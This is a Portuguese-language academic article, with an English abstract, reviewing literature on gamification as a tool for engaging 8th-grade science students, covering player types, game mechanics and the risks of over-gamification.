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<p class="wp-block-paragraph">GAMIFICATION AS A TEACHING-LEARNING TOOL IN CIÊNCIAS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ra10202512092208</p>



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<p class="has-text-align-right wp-block-paragraph">Erivelton Vitório Avelino dos Santos<br>Orientadora: Mabel Alencar do Nascimento Rocha</p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">Este estudo será de suma importância, para uma melhor eficiência, os ambientes de aprendizagem requerem por parte dos estudantes do 8º ano do fundamental II, onde apresentará um certo nível motivacional, destacando o curso de Ciências biológicas. O engajamento é uma das principais chaves para o sucesso motivacional de praticamente qualquer processo de aprendizagem. Neste contexto, a gamificação apresenta um papel importante, atuando como um mecanismo para o processo motivacional de engajamento. As novas tecnologias, que permitem a transferência de informação de maneira rápida e em qualquer lugar, aliadas ao processo de gamificação, formam um conjunto que possibilita a massificação do processo motivacional, atingindo-se níveis que não eram possíveis anteriormente. O presente artigo tem como objetivo apresentar o contexto da gamificação, motivando as aulas conquistando atenção e o aprendizado em sala de aula. Suas principais estratégias de engajamento, assim como apontar as questões relevantes para o design de processos de aprendizagem com foco no engajamento.</p>



<p class="wp-block-paragraph"><strong>Palavras chave: </strong>Gamificação. Engajamento. Ambientes de ciências.</p>



<p class="wp-block-paragraph"><strong>Abstract</strong></p>



<p class="wp-block-paragraph">This study will be of utmost importance, for better efficiency, learning environments require 8th year students to have a certain motivational level, highlighting the Biological Sciences course. Engagement is one of the main keys to the motivational success of practically any learning process. In this context, gamification plays an important role, acting as a mechanism for the motivational engagement process. New technologies, which allow the transfer of information quickly and anywhere, combined with the gamification process, form a set that enables the massification of the motivational process, reaching levels that were not previously possible. This article aims to present the context of gamification, its main engagement strategies, as well as point out the relevant issues for the design of learning processes with a focus on engagement.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Gamification. Engagement. Learning Environments.</p>



<p class="wp-block-paragraph"><strong>1 INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A gamificação não é um conceito novo. Muitas campanhas de marketing já utilizaram da gamificação para promover-se. O próprio fenômeno da viralidade, também é uma característica que pode ser associada a gamificação. A maior parte dos casos de sucesso de gamificação provam que somente o entendimento da construção de jogos e o entendimento do que motiva os jogadores pode tornar bem sucedido o processo de gamificação. O conceito apela para o potencial de transformar tarefas simples do cotidiano em atividades divertidas e permite que as pessoas sejam criativas nas soluções de problemas de <em>business </em>como marketing, treinamento e recrutamento.</p>



<p class="wp-block-paragraph">No entanto, é necessário clarificar o conceito. Gamificação não está relacionado a jogar. O principal ponto da gamificação está em atingir o objetivo usando lições aprendidas a partir dos jogos e não jogando propriamente dito. Da mesma forma, a gamificação não é uma solução fácil e absoluta para resolver todos os problemas. Uma mesma técnica aplicada em contextos diferentes pode não gerar o mesmo resultado.</p>



<p class="wp-block-paragraph">A gamificação no aprendizado tem se mostrado uma ferramenta pedagógica inovadora, capaz de transformar a experiência educacional. Este artigo, fundamentado em uma pesquisa qualitativa de levantamento bibliográfico, tem como objetivo geral avaliar o impacto da gamificação no engajamento e aprendizado dos alunos em contextos educacionais. O primeiro objetivo específico é identificar e analisar os elementos de jogos mais comumente utilizados em contextos educacionais. Busca-se compreender como esses elementos podem ser efetivamente incorporados ao currículo para melhorar a experiência de aprendizado.</p>



<p class="wp-block-paragraph">Através de uma análise detalhada, este capítulo explora a variedade de elementos de jogos disponíveis e como eles podem ser adaptados para atender às necessidades educacionais específicas. O segundo objetivo específico é investigar como a gamificação influencia o engajamento dos alunos, incluindo a motivação para aprender e a participação ativa nas atividades de aprendizagem.</p>



<p class="wp-block-paragraph">Outra questão ser debatida está como a gamificação pode criar um ambiente de aprendizado envolvente e motivador. Este capítulo explora como a gamificação pode aumentar a motivação dos alunos para aprender, incentivando a participação ativa e promovendo um ambiente de aprendizado colaborativo. O terceiro objetivo específico é avaliar a eficácia da gamificação no aprendizado dos alunos, medindo a compreensão dos conceitos e a retenção de informações, abordado no capítulo “Avaliando a Eficácia da Gamificação”, avaliamos como a gamificação pode melhorar o aprendizado dos alunos.</p>



<p class="wp-block-paragraph">Entretanto poder ajudar os alunos a entender melhor os conceitos e reter informações, tornando o aprendizado mais eficaz. A metodologia adotada neste estudo é quantitativa e baseia-se em um levantamento bibliográfico. Esta abordagem permite uma análise do estado atual da gamificação na educação, explorando tendências, identificando desafios e reconhecendo oportunidades.</p>



<p class="wp-block-paragraph">A gamificação tem o potencial de transformar a educação, tornando-a mais envolvente, interativa e eficaz conforme considerações apresentadas posteriormente neste artigo.</p>



<p class="wp-block-paragraph"><strong>2- DESENVOLVIMENTO</strong></p>



<p class="wp-block-paragraph">Gamificação é a utilização de elementos de jogos e game design fora do contexto de jogos (GRIFFIN, 2017). A gamificação tem como princípio a apropriação dos elementos dos jogos, aplicando os em contextos, produtos e serviços que não são necessariamente focados em jogos, mas que possuam a intenção de pro- mover a motivação e o comportamento do indivíduo (BUSARELLO <em>et al.</em>, 2017). Não é necessariamente a participação em um jogo, mas sim a utilização dos seus elementos mais eficientes, como estética, dinâmicas, mecânicas, para obter os mesmos benefícios que se atinge com o ato de jogar.</p>



<p class="wp-block-paragraph">As mecânicas encontradas nos jogos atuam como mecanismos motivacionais para os indivíduos, de forma a contribuir para o engajamento destes em variados ambientes e aspectos. Engajamento é o período de tempo no qual o indivíduo tem grande quantidade de conexões com o ambiente e outras pessoas (ZICHERMANN; CUNNINGHAM, 201). O nível de engajamento é um fator primordial para o sucesso de qualquer processo de gamificação.</p>



<p class="wp-block-paragraph">Zichermann e Cunningham (2018) apontam quatro razões que motivam as pessoas a jogar: obter o domínio de um determinado assunto; aliviar stress; como entretenimento; e como meio de socialização. Os autores também identificam quatro aspectos relativos a diversão durante o jogo: competição e busca da vitória; imersão e exploração de um universo; quando o jogo altera a forma do jogador se sentir; e o envolvimento com os outros jogadores.</p>



<p class="wp-block-paragraph">A partir deste contexto a gamificação pode ser aplicada a qualquer atividade onde necessita-se estimular o comportamento do indivíduo. A utilização da gamificação em ambientes de aprendizagem, contribuem para o aprimoramento do ambiente, tornando-o mais eficaz na retenção da atenção do aluno (BUSA- RELLO <em>et al.</em>, 2017).</p>



<p class="wp-block-paragraph">Para o aprofundamento do processo de gamificação, deve-se entender os elementos de jogos envolvidos. Na medida em que a gamificação trata dos aspectos de comportamento dos jogadores, se faz necessário conhecer os perfis de comportamento dos mesmos dentro do contexto de jogo. Para o entendimento das diferentes forma de motivar os jogadores, deve- se preliminarmente conhecer os tipos de jogadores e suas motivações particulares para jogar (ZICHERMANN; CUNNINGHAM, 2018).</p>



<p class="wp-block-paragraph">Socializadores: desejam interagir com outros jogadores criando conexões sociais. Para este tipo, os jogos tornam-se o pano de fundo para a realização de interações sociais. Procuram e encorajam a interação social em qualquer ambiente, ao mesmo tempo que são motivados por isso. Preferem jogos cooperativos, no qual demandam trabalho em equipe. A ocasião do ato de jogar, é normalmente mais importante que alcançar os objetivos do jogo.</p>



<p class="wp-block-paragraph">Exploradores: desejam criar e explorar. Consideram a própria experiência como o objetivo do jogo. Possuem interesse em descobrir as possibilidades e os porquês do ambiente. Experimentam e procuram formas de atingir o limite de qualquer processo. Podem ficar desmotivados no momento em que encontram o limite do “mundo”.</p>



<p class="wp-block-paragraph">Empreendedores: procuram aprender novas coisas e melhorar a si mesmos. São motivados por superar desafios e por recompensas que superam os desafios feitos. Buscam vitórias constantes e são motivados pela realização completa de todas as atividades propostas pelo jogo. Criam conquistas próprias.</p>



<p class="wp-block-paragraph">Predadores: desejam romper o sistema, de forma direta ou através dos outros jogadores. Mesmo sendo destrutivos, podem forçar a mudanças tanto positivas quanto negativas. Motivado pela derrota do adversário, caracteriza-se por ser extremamente competitivo. Cria relacionamento intenso com os outros jogadores de forma que sua imposição supera a cooperação. Para os predadores não basta ganhar, alguém tem que perder.</p>



<p class="wp-block-paragraph">Um jogador possui características de cada tipo em determinado grau, não apresentando aspectos exclusivos de um único tipo. Para o entendimento dos processos de gamificação é necessário mapear os princípios de gamificação para as necessidades e comportamentos identificadas nos tipos de jogador (GRIFFIN, 2020). De acordo com Griffin (2020) este entendimento é de vital importância para um design efetivo de um processo de gamificação.</p>



<p class="wp-block-paragraph">As necessidades dos jogadores devem ser identificadas e o jogo deve estar voltado a cumprir estas necessidades. Para se exercer a motivação do indivíduo em qualquer ambiente, deve-se fornecer estímulos de alta qualidade com diferentes formatos (LI <em>et al.</em>, 2022). Para tanto, é necessário apropriar-se dos elementos mais significativos e eficientes dos jogos para o desenvolvimento e adaptação das experiências do indivíduo.</p>



<p class="wp-block-paragraph">Segundo Zichermann e Cunningham (2021) os comportamentos dos jogadores estão baseados nas relações: Mecânicas, que formam o conjunto de elementos funcionais do jogo, permitindo as orientações nas ações do jogador; Dinâmicas, que caracterizam as interações entre o jogador e as mecânicas; Estéticas, que envolvem as emoções do jogador durante o período de interação com o jogo. Esta relação é resultando das anteriores, levando à criação de emoção. Zichermann e Cunningham (2021) afirmam que uma mecânica de jogo é composta por ferramentas capazes de produzir respostas de cunho estético, significativas ao jogador.</p>



<p class="wp-block-paragraph"><strong>2.1- JOGANDO PARA APRENDER: COMO A GAMIFICAÇÃO ESTÁ MUDANDO A EDUCAÇÃO</strong></p>



<p class="wp-block-paragraph">A aplicação de elementos de jogos na educação, um fenômeno conhecido como gamificação, nasce como um tema relevante na pedagogia contemporânea. A gamificação, que se refere ao uso de técnicas de design de jogos em contextos não relacionados a jogos, ganha importância no cenário educacional ao propor uma abordagem inovadora para o ensino e a aprendizagem.</p>



<p class="wp-block-paragraph">Essa abordagem busca incorporar aspectos lúdicos e interativos nos processos educativos, com o objetivo de aumentar a motivação, o engajamento e a eficácia da aprendizagem. Segundo Ulbritcht e Fadel (2014, p. 15), “a gamificação, fundamentada na ideia de aplicar o pensamento e as estratégias típicas de jogos em contextos não relacionados a jogos, incorpora as sistemáticas e as mecânicas do ato de jogar em ambientes fora do âmbito lúdico.”</p>



<p class="wp-block-paragraph">O conceito de gamificação baseia-se em diversas teorias pedagógicas, como o construtivismo e o socio interacionismo, que enfatizam a importância da experiência ativa e da interação social no processo de aprendizagem. De acordo com a teoria construtivista, a aprendizagem ocorre quando os alunos constroem ativamente o conhecimento a partir de suas experiências. Já a teoria socio interacionista destaca o papel do contexto social e da interação entre pares na construção do conhecimento. A gamificação aproveita esses princípios ao criar ambientes de aprendizagem que promovem a interação, a colaboração e a experimentação ativa.</p>



<p class="wp-block-paragraph">Os elementos típicos dos jogos que são aplicados à educação incluem sistemas de pontuação, recompensas, narrativas, desafios e feedback imediato. A implementação de sistemas de pontuação e recompensas, por exemplo, visa motivar os alunos e reconhecer seu progresso e esforço (HAMARI; KOIVISTO &amp; SARSA, 2019). As narrativas e contextos imersivos, por outro lado, têm o potencial de criar um ambiente de aprendizagem mais envolvente, aumentando o</p>



<p class="wp-block-paragraph">interesse e a motivação dos alunos (BARATA et al., 2019). Além disso, a introdução de desafios e níveis de dificuldade progressivos pode estimular a persistência e a superação de obstáculos (LEE &amp; HAMMER, 2019), enquanto o feedbackimediato proporciona orientação e reconhecimento essenciais para a aprendizagem (GEE, 2018).</p>



<p class="wp-block-paragraph">O impacto positivo da gamificação na motivação e no engajamento dos alunos é corroborado por diversas pesquisas. Domínguez et al. (2013) observaram um aumento significativo na motivação dos alunos quando elementos de jogos foram integrados ao currículo. Em outro estudo, Cheong; Filippoue Cheong (2023) descobriram que a gamificação pode aprimorar o engajamento e a participação dos alunos em atividades de aprendizagem. Esses achados sugerem que a gamificação, quando bem implementada, pode ser uma ferramenta poderosa para melhorar a experiência educacional. A gamificação aparece como uma estratégia para estabelecer uma conexão entre a escola e o universo dos jovens, com foco no aprendizado.</p>



<p class="wp-block-paragraph">Isso é feito através de práticas como sistemas de classificação e fornecimento de recompensas. No entanto, em vez de se concentrar em efeitos tradicionais, como notas, esses elementos são utilizados em alinhamento com a mecânica dos jogos para promover experiências que envolvem os alunos tanto emocionalmente quanto cognitivamente (ALVES;MINHO &amp; DINIZ, 2019 p. 83).</p>



<p class="wp-block-paragraph">Contudo, a gamificação na educação também enfrenta desafios e limitações. Um dos principais desafios é garantir que os elementos de jogo estejam alinhados com os objetivos educacionais (KAPP, 2019). A super gamificação, por exemplo, pode resultar em uma superficialidade na aprendizagem, onde os alunos se concentram mais em ganhar recompensas do que em compreender o conteúdo (BUCKLEY &amp; DOYLE, 2018).</p>



<p class="wp-block-paragraph">Portanto, é crucial equilibrar os elementos de jogo com as necessidades pedagógicas, assegurando que a aprendizagem permaneça como o foco principal da experiência educativa. A integração de elementos de jogos na educação apresenta um potencial significativo para enriquecer o processo de ensino e aprendizagem.</p>



<p class="wp-block-paragraph">A gamificação, ao incorporar aspectos lúdicos e interativos, pode aumentar a motivação e o engajamento dos alunos, promovendo uma experiência de aprendizagem mais dinâmica e eficaz. No entanto, é fundamental que essa abordagem seja planejada e implementada de maneira cuidadosa, com foco nos objetivos educacionais e nas necessidades específicas dos alunos. É importante destacar o papel do feedback imediato, que é um elemento fundamental nos jogos e tem um impacto significativo na aprendizagem.</p>



<p class="wp-block-paragraph">O feedback imediato nos jogos fornece aos alunos uma resposta rápida sobre seu desempenho, permitindo-lhes ajustar suas estratégias e entender melhor os conceitos (GEE, 2023). Essa característica dos jogos pode ser particularmente benéfica na educação, pois ajuda os alunos a perceberem seus erros e acertos em tempo real, promovendo um ciclo de aprendizado mais eficiente e adaptativo.</p>



<p class="wp-block-paragraph">Desta forma, a gamificação pode contribuir para o desenvolvimento de habilidades do século XXI, como resolução de problemas, pensamento crítico, criatividade e trabalho em equipe. Ao enfrentar desafios e resolver problemas dentro de um contexto de jogo, os alunos têm a oportunidade de aplicar e aprimorar essas habilidades de maneira prática e envolvente. Isso é particularmente relevante em um mundo onde a capacidade de pensar de forma crítica e colaborativa é cada vez mais valorizada (GRIFFIN; MCGAW &amp; CARE, 2022).</p>



<p class="wp-block-paragraph">No entanto, a implementação eficaz da gamificação exige uma compreensão profunda dos princípios de design de jogos e de como esses princípios podem ser adaptados para atender aos objetivos educacionais.</p>



<p class="wp-block-paragraph">Os educadores devem considerar cuidadosamente quais elementos de jogo são mais apropriados para o seu contexto educacional e como esses elementos podem ser integrados de forma a complementar e enriquecer o currículo existente. Isso pode incluir a adaptação de jogos existentes para fins educacionais ou o desenvolvimento de novos jogos projetados especificamente para atender às necessidades de aprendizagem dos alunos (PRENSKY, 2017). A pesquisa também aponta para a importância de considerar as diferenças individuais dos alunos ao implementar a gamificação.</p>



<p class="wp-block-paragraph">Nem todos os alunos respondem da mesma maneira aos elementos de jogo, e alguns podem achar certos aspectos da gamificação menos motivadores ou até mesmo desmotivadores (RYAN; RIGBY, &amp; PRZYBYLSKI, 2020). Portanto, é crucial que os educadores personalizem a experiência de gamificação para atender às diferentes necessidades e preferências de aprendizagem de seus alunos. Ademais, a avaliação da eficácia da gamificação na educação é um campo de estudo em expansão.</p>



<p class="wp-block-paragraph">A avaliação contínua e a pesquisa sobre a implementação e os resultados da gamificação são essenciais para entender seu impacto real no desempenho e na motivação dos alunos. Este aspecto é fundamental para assegurar que a gamificação seja utilizada de forma eficaz e responsável no ambiente educacional (GIBSON et al., 2021).</p>



<p class="wp-block-paragraph">Em conclusão, a gamificação na educação oferece uma abordagem promissora e inovadora para melhorar a aprendizagem e o engajamento dos alunos. Ao incorporar elementos de jogos no processo educativo, os educadores podem criar experiências de aprendizagem mais dinâmicas, motivadoras e eficazes. No entanto, é essencial que essa abordagem seja implementada com cuidado e consideração, levando em conta os objetivos educacionais, as necessidades dos alunos e os princípios de design de jogos. Com uma implementação cuidadosa e uma avaliação contínua, a gamificação tem o potencial de transformar positivamente a experiência educacional.</p>



<p class="wp-block-paragraph">A avaliação da eficácia da gamificação, que envolve a aplicação de elementos de design de jogos em contextos educacionais, é uma área de estudo crescente e de grande importância na pedagogia contemporânea. Essa prática busca engajar os alunos de maneira mais efetiva através do uso de mecânicas e dinâmicas de jogos. Avaliar sua eficácia envolve analisar como esses elementos influenciam a motivação, o engajamento, a retenção de conhecimento e o desenvolvimento de habilidades nos alunos. Um dos principais argumentos a favor da gamificação é que ela pode aumentar a motivação e o engajamento dos alunos.</p>



<p class="wp-block-paragraph">Segundo a teoria da autodeterminação de Ryan e Deci (2017), elementos como recompensas, feedback imediato e sensação de progresso atendem às necessidades psicológicas básicas dos alunos, aumentando sua motivação intrínseca. A gamificação também é apontada como uma forma de tornar a aprendizagem mais relevante e envolvente, proporcionando contextos em que os alunos podem aplicar seus conhecimentos de maneira prática e significativa (HAMARI; KOIVISTO &amp; SARSA, 2024).</p>



<p class="wp-block-paragraph">Além disso, a gamificação pode facilitar a aprendizagem ativa, onde os alunos participam ativamente do processo de construção do conhecimento. Isso está alinhado com as teorias construtivistas de aprendizagem, que enfatizam a importância da experiência ativa na educação. Os jogos frequentemente apresentam desafios que requerem pensamento crítico, resolução de problemas e tomada de decisão, habilidades essenciais no século XXI (GRIFFIN; MCGAW &amp; CARE, 2022).</p>



<p class="wp-block-paragraph">Entretanto, a eficácia da gamificação não é uniforme e depende de vários fatores, como o design do jogo, o contexto educacional e as características dos alunos. Alguns estudos sugerem que a gamificação pode não ser eficaz para todos os tipos de conteúdo ou para todos os alunos, e que seu impacto pode variar significativamente dependendo de como é implementada (KAPP, 2022).</p>



<p class="wp-block-paragraph">Por exemplo, a super gamificação, onde a mecânica do jogo domina o conteúdo educacional, pode levar a uma superficialidade na aprendizagem (BUCKLEY &amp; DOYLE, 2020).A avaliação da eficácia da gamificação também deve considerar os aspectos de longo prazo, como a retenção de conhecimento e a aplicação de habilidades adquiridas. Enquanto alguns estudos mostram que a gamificação pode melhorar a retenção de conhecimento a curto prazo, há menos evidências obre seus efeitos a longo prazo (CHEONG; FILIPPOU &amp; CHEONG, 2023).</p>



<p class="wp-block-paragraph">Além disso, a gamificação pode ter impactos diferenciados em habilidades cognitivas e habilidades sociais, o que deve ser levado em conta na avaliação de sua eficácia (DOMÍNGUEZ et al., 2023).A metodologia de pesquisa também desempenha um papel crucial na avaliação da eficácia    da gamificação. Muitos estudos dependem de autoavaliações dos alunos sobre sua motivação e engajamento, o que pode introduzir vieses.</p>



<p class="wp-block-paragraph">Portanto, é importante utilizar uma variedade de métodos de avaliação, incluindo medidas objetivas de desempenho e observações comportamentais, para obter uma compreensão mais precisa do impacto da gamificação (GIBSON et al., 2020).</p>



<p class="wp-block-paragraph">Em conclusão, a avaliação da eficácia da gamificação na educação é um campo complexo e multifacetado. Embora a gamificação ofereça potenciais benefícios em termos de aumento da motivação e do engajamento dos alunos, sua eficácia depende de uma série de fatores, incluindo o design do jogo, o contexto educacional e as características individuais dos alunos. Uma avaliação abrangente e metodologicamente sólida é essencial para compreender plenamente o impacto da gamificação na aprendizagem.</p>



<p class="wp-block-paragraph"><strong>2.2 GAMIFICAÇÃO EM AMBIENTES DE APRENDIZAGEM</strong></p>



<p class="wp-block-paragraph">A gamificação tem o potencial de aumentar o engajamento em processos de não jogos em níveis massivos (GRIFFIN, 2020). Especificamente, a gamificação é um método de aumentar o engajamento em ambientes de aprendizagem. De uma forma mais primitiva, a gamificação é usada a longa data nas salas de aula tradicionais. Professores atribuíam estrelas aos alunos que completavam determinadas tarefas.</p>



<p class="wp-block-paragraph">Para o desenvolvimento de artefatos com base em gamificação é essencial o entendimento das características das mecânicas dos jogos (BUSARELLO <em>et al.</em>, 2020).</p>



<ul class="wp-block-list">
<li>A meta do jogo é o motivo para realizar a atividade. É o propósito que o jogador busca constantemente, orientando para a atividade e não para um fim específico. A meta normalmente transcende a conclusão de tarefas, ao contrário do objetivo.</li>



<li>As regras do jogo determinam o comportamento do jogador para realizar os desafios do ambiente. As regras favorecem a criatividade e o pensamento estratégico, buscando ajustar o nível de complexidade do indivíduo junto às tarefas que devem ser realizadas;</li>



<li>Feedbacks são as informações que o jogo reporta ao jogador para orientar sobre sua posição atual referente aos elementos do jogo que regulam a interação.</li>



<li>Participação voluntária determina que somente existe uma interação real entre o indivíduo e o jogo, no momento em que o sujeito aceita e está disposto ao relacionamento com os elementos do jogo. Para tanto, o sujeito deve concordar com a meta, regas e os feedbacks propostos.</li>
</ul>



<p class="wp-block-paragraph">Outras características dos jogos, como a narrativa, interatividade, suporte gráfico, recompensas, competitividade, ambiente virtual, entre outros, contribuem com os aspectos anteriores para criar uma relação de proximidade (VIANNA <em>et al.</em>, 2020).</p>



<p class="wp-block-paragraph">Para as mecânicas de jogos serem bem sucedidas, as mesmas devem ser consistentes com os tipos de jogadores que irão compor a base de usuários do processo de gamificação. Apesar da gamificação pode ser aplicada com sucesso em quase qualquer processo, o ponto chave é o redesign do processo como um todo, focando em determinados aspectos: os objetivos da organização; o processo original e os objetivos de aprendizagem; e no usuário final do processo (GRIFFIN, 2020).</p>



<p class="wp-block-paragraph">No aspecto da organização, deve-se considerar o que está se tentando alcançar e qual a estratégia para alcançar os objetivos propostos. A cultura da organização é fator que pode afetar a maneira dos usuários perceber o processo gamificado. Em virtude desta razão é importante mapear os envolvidos dos processos de forma a direcionar as atitudes a favor da gamificação.</p>



<p class="wp-block-paragraph">Quanto ao aspecto do processo, deve-se considerar quais são os objetivos que o processo está tentando gamificar. Desde uma simples tarefa repetida a transferência de conhecimento, deve identificar o objetivo final, garantindo que a gamificação irá ajudar neste objetivos. Uma das maneiras mais efetivas de utilizar objetivos em gamificação é incorporar objetivos simples e curtos, como um <em>quiz</em>, assistir um vídeo, entrar no sistema consecutivos dias, e incorporar objetivos desafiadores, como terminar todos os módulos, ser o primeiro do <em>ranking</em>.</p>



<p class="wp-block-paragraph">No aspecto individual, deve-se analisar a intenção dos usuários finais para enquadrá-los nos tipos de usuários. Identificar os objetivos dos mesmos dentro do jogo torna-se importante na medida em que eles influenciam significativamente como o jogo será projetado e quais os elementos serão incorporados. Aplicar as mecânicas de jogo mais apropriadas para o tipo de jogador torna o processo de gamificação mais efetivo como motivador.</p>



<p class="wp-block-paragraph"><strong>3- RESULTADOS E DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">A inserção de elementos de jogos na educação, conhecida como gamificação, representa uma inovação significativa no cenário pedagógico atual, prometendo transformar os métodos tradicionais de ensino e aprendizagem. Esta prática, que incorpora mecânicas e dinâmicas de jogos em contextos educativos, visa aumentar a motivação, o engajamento e a eficácia da aprendizagem.</p>



<p class="wp-block-paragraph">A base teórica da gamificação encontra-se em diversas correntes pedagógicas, como o construtivismo e o socio interacionismo, que ressaltam a importância da experiência ativa e da interação social no processo educativo. Elementos típicos de jogos, como sistemas de pontuação, recompensas, narrativas, desafios e feedback imediato, são integrados com o objetivo de criar um ambiente de aprendizagem mais envolvente.</p>



<p class="wp-block-paragraph">Pesquisas têm corroborado o impacto positivo da gamificação na motivação e no engajamento dos alunos. Por exemplo, estudos de Domínguez et al. (2023) e Cheong, Filippou e Cheong (2023) demonstraram um aumento na motivação e no engajamento dos alunos quando elementos de jogos foram integrados ao currículo. Tais achados sugerem que a gamificação, quando bem implementada, pode ser uma ferramenta eficaz para melhorar a experiência educacional. Entretanto, a gamificação enfrenta desafios e limitações significativas. Um dos principais é garantir que os elementos de jogo estejam alinhados com os objetivos educacionais.</p>



<p class="wp-block-paragraph">A&nbsp;excessiva enfatização nos elementos de jogo pode levar a uma superficialidade na aprendizagem, onde o foco dos alunos desloca-se do conteúdo para a obtenção de recompensas. Assim, é crucial equilibrar os elementos lúdicos com as necessidades pedagógicas para manter a aprendizagem como o foco principal da experiência educativa.</p>



<p class="wp-block-paragraph">A eficácia da gamificação na educação depende de uma compreensão profunda dos princípios de design de jogos e de como esses princípios podem ser adaptados para atender aos objetivos educacionais. É essencial que os educadores selecionem e integrem elementos de jogo de forma a complementar e enriquecer o currículo existente. Além disso, a personalização da experiência de gamificação para atender às diferentes necessidades e preferências de aprendizagem dos alunos é fundamental, visto que nem todos respondem da mesma maneira aos elementos de jogo.</p>



<p class="wp-block-paragraph">A avaliação da eficácia da gamificação é um campo de estudo em expansão. A pesquisa contínua sobre a implementação e os resultados da gamificação é crucial para compreender seu impacto real no desempenho e na motivação dos alunos. Esta avaliação é essencial para garantir que a gamificação na educação oferece uma abordagem promissora para melhorar a aprendizagem e o engajamento dos alunos.</p>



<p class="wp-block-paragraph">Ao incorporar elementos de jogos no processo educativo, os educadores podem criar experiências de aprendizagem mais dinâmicas e motivadoras. Contudo, para que a gamificação seja eficaz, é crucial que seja implementada com cuidado e consideração, tendo em vista os objetivos educacionais, as necessidades dos alunos e os princípios de design de jogos.</p>



<p class="wp-block-paragraph">Com uma implementação cuidadosa e uma avaliação contínua, a gamificação tem o potencial de transformar positivamente a experiência educacional. Apesar dos benefícios potenciais, é crucial reconhecer que a gamificação não é uma solução universal aplicável a todos os contextos educacionais.</p>



<p class="wp-block-paragraph">A eficácia da gamificação varia significativamente em função de fatores como o design do jogo, o contexto educacional, e as características individuais dos alunos. Um dos principais desafios na implementação da gamificação é assegurar que ela complemente e enriqueça o currículo existente, em vez de substituí-lo.</p>



<p class="wp-block-paragraph">A super gamificação, onde os elementos de jogo sobrepõem-se ao conteúdo educacional, pode levar a uma superficialidade na aprendizagem, com os alunos concentrando-se mais em ganhar recompensas do que em compreender o conteúdo. Este desafio ressalta a importância de uma abordagem equilibrada, onde os elementos de jogo são cuidadosamente integrados com os objetivos educacionais.</p>



<p class="wp-block-paragraph">A personalização da experiência de gamificação é outro aspecto crítico. As diferenças individuais dos alunos, como estilos de aprendizagem, interesses e níveis de motivação, devem ser levadas em consideração para garantir que a gamificação seja eficaz para um amplo espectro de alunos.</p>



<p class="wp-block-paragraph">Esta personalização pode envolver a adaptação dos elementos de jogo para atender às diferentes necessidades e preferências de aprendizagem, o que pode ser um desafio logístico e de design para os educadores de forma eficaz e responsável no ambiente educacional.</p>



<p class="wp-block-paragraph"><strong>CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">Os componentes típicos dos jogos, como sistemas de pontuação, recompensas, narrativas e feedback imediato, são incorporados para criar um ambiente de aprendizado mais cativante. Esses elementos não apenas incentivam os alunos, mas também reconhecem e celebram seu progresso e esforço.</p>



<p class="wp-block-paragraph">Estudos indicam que a gamificação pode efetivamente aumentar a motivação e o engajamento dos alunos, sugerindo que uma implementação bem planejada e executada pode enriquecer a experiência educacional de maneira significativa. Contudo, a gamificação enfrenta desafios notáveis. Um deles é alinhar os elementos de jogo com os objetivos educacionais, evitando transformar o processo de aprendizagem em uma busca superficial por recompensas.</p>



<p class="wp-block-paragraph">Manter um equilíbrio entre os aspectos lúdicos e as demandas pedagógicas é essencial para que a aprendizagem continue sendo o foco central da experiência educacional. A eficácia da gamificação na educação depende de uma compreensão aprofundada dos princípios de design de jogos e de como esses podem ser adaptados para atingir objetivos educacionais específicos. Adaptar a experiência de gamificação às necessidades e preferências individuais dos alunos é crucial, considerando que as respostas a esses elementos de jogo podem variar entre os estudantes.</p>



<p class="wp-block-paragraph">Avaliar continuamente a eficácia da gamificação é fundamental. A pesquisa nessa área deve utilizar métodos variados de avaliação para fornecer uma compreensão completa do impacto da gamificação no processo de aprendizagem. Explorar as consequências a longo prazo da gamificação na educação também é vital para entender se os benefícios são sustentáveis ao longo do tempo e como eles influenciam o desenvolvimento contínuo de habilidades e conhecimentos dos alunos.</p>



<p class="wp-block-paragraph">A gamificação é um processo emergente, que se mostra cada vez mais presente nos ambientes de aprendizagem. Porém sua mera aplicação não garante os resultados pressupostos do processo. Um estudo aprofundado deve se realizar antes de considerar sua aplicação. O conhecimento da base de usuários, assim como os objetivos do processo, atuam como elementos fundamentais para a construção de um processo sólido.</p>



<p class="wp-block-paragraph">O principal propósito da gamificação é o engajamento do usuário. Determinados conhecimentos se tornam essenciais para sua correta aplicação. Uma análise correta, pode determinar quais são as mecânicas que melhor se enquadram para os objetivos do processo, de acordo com os perfis de usuários identificados.</p>



<p class="wp-block-paragraph">O design do processo é o elemento chave para a efetividade do seu sucesso. Conhecer as mecânicas dos jogos e as respectivas relações que os usuários irão exercer sobre elas, tornam-se primordialmente os requisitos que o design deve considerar durante a criação de um processo de gamificação.<br></p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ALVES, L. R. G.; MINHO, M. R.; DINIZ, M. V. C.. Gamificação: diálogos com a educação.In: FADEL, Luciane Maria. Gamificação na educação. São Paulo: Pimenta Cultural, p. 83, 2019.</p>



<p class="wp-block-paragraph">BARATA, G.; GAMA, S.; JORGE, J.; GONÇALVES, D. Engaging Engineering Students with Gamification. 5th International Conference on Games and Virtual Worlds for Serious Applications, 2023.</p>



<p class="wp-block-paragraph">BUCKLEY, P.; DOYLE, E. Gamification and student motivation. Interactive Learning Environments, 24(6), 1162-1175, 2016.CHEONG, C.; FILIPPOU, J.; CHEONG, F. Towards the gamification of learning: Investigating student perceptions of game elements.Journal of Information Systems Education, 24(2), 233-244, 2020.</p>



<p class="wp-block-paragraph">DOMÍNGUEZ, A.; SAENZ-DE-NAVARRETE, J.; DE-MARCOS, L.; FERNÁNDEZSANZ, L.; PAGÉS, C.; MARTÍNEZ-HERRÁIZ, J. J. Gamifying learning experiences:Practical implications and outcomes. Computers &amp; Education, 63, 380-392, 2020</p>



<p class="wp-block-paragraph">BUSARELLO, R. I. <em>et al. </em>A gamificação e a sistemática de jogo. In: FADEL, L. M. <em>et al. </em>(Org.). Gamificação na educação. São Paulo: Pimenta Cultural, 2014. FILATRO, A. Design instrucional na prática. São Paulo: Pearson, 2018.</p>



